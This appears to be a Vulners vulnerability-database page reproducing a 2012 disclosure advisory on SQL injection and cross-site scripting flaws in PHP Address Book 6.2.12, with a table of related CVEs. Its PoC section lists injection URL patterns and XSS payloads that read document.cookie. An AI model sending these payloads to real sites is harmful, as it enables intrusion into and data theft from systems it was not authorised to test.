PHP Address Book 6.2.12 - Multiple Vulnerabilities
| Reporter | Title | Published | Views | Family All 36 |
|---|---|---|---|---|
 | CVE-2008-2565 | 4 Jun 200800:00 | – | circl |
| CVE-2008-2566 | 4 Jun 200800:00 | – | circl |
 | PHP address book has multiple SQL injection and multiple cross-site scripting vulnerabilities | 5 Mar 201500:00 | – | cnvd |
| Multiple Cross-Site Scripting Vulnerabilities in PHP Address Book | 6 Mar 201500:00 | – | cnvd |
 | CVE-2008-2565 | 6 Jun 200818:00 | – | cve |
| CVE-2008-2566 | 6 Jun 200818:00 | – | cve |
| CVE-2012-1911 | 9 Sep 201221:00 | – | cve |
| CVE-2012-1912 | 9 Sep 201221:00 | – | cve |
| CVE-2012-2903 | 21 May 201218:00 | – | cve |
 | CVE-2008-2565 | 6 Jun 200818:00 | – | cvelist |
10
Advisory: PHP Address Book 6.2.12 Multiple security vulnerabilities
Advisory ID: SSCHADV2012-007
Author: Stefan Schurtz
Affected Software: Successfully tested on PHP Address Book 6.2.12
Vendor URL: http://sourceforge.net/projects/php-addressbook/
Vendor Status: informed
==========================
Vulnerability Description
==========================
PHP Address Book 6.2.12 is prone to multiple XSS and SQL-Injection vulnerabilities
==================
PoC-Exploit
==================
// (Blind) SQL-Injection
http://[target]/addressbook/edit.php?id=[sql-injection]
http://[target]/addressbook/group.php?add=Add to&group=1&selected%5b%5d=132&to_group=[sql-injection]
http://[target]/addressbook/vcard.php?id=[sql-injection]
// XSS
http://[target]/addressbook/preferences.php?from='"</script><script>alert(document.cookie)</script>
http://[target]/addressbook/index.php?group='"</script><script>alert(document.cookie)</script>
====================
Disclosure Timeline
====================
03-Mar-2012 - vendor informed
========
Credits
========
Vulnerabilities found and advisory written by Stefan Schurtz.
===========
References
===========
http://sourceforge.net/tracker/?group_id=157964&atid=8059299
http://www.darksecurity.de/advisories/2012/SSCHADV2012-007.txtData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
18 Dec 2016 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 27.5
EPSS0.02398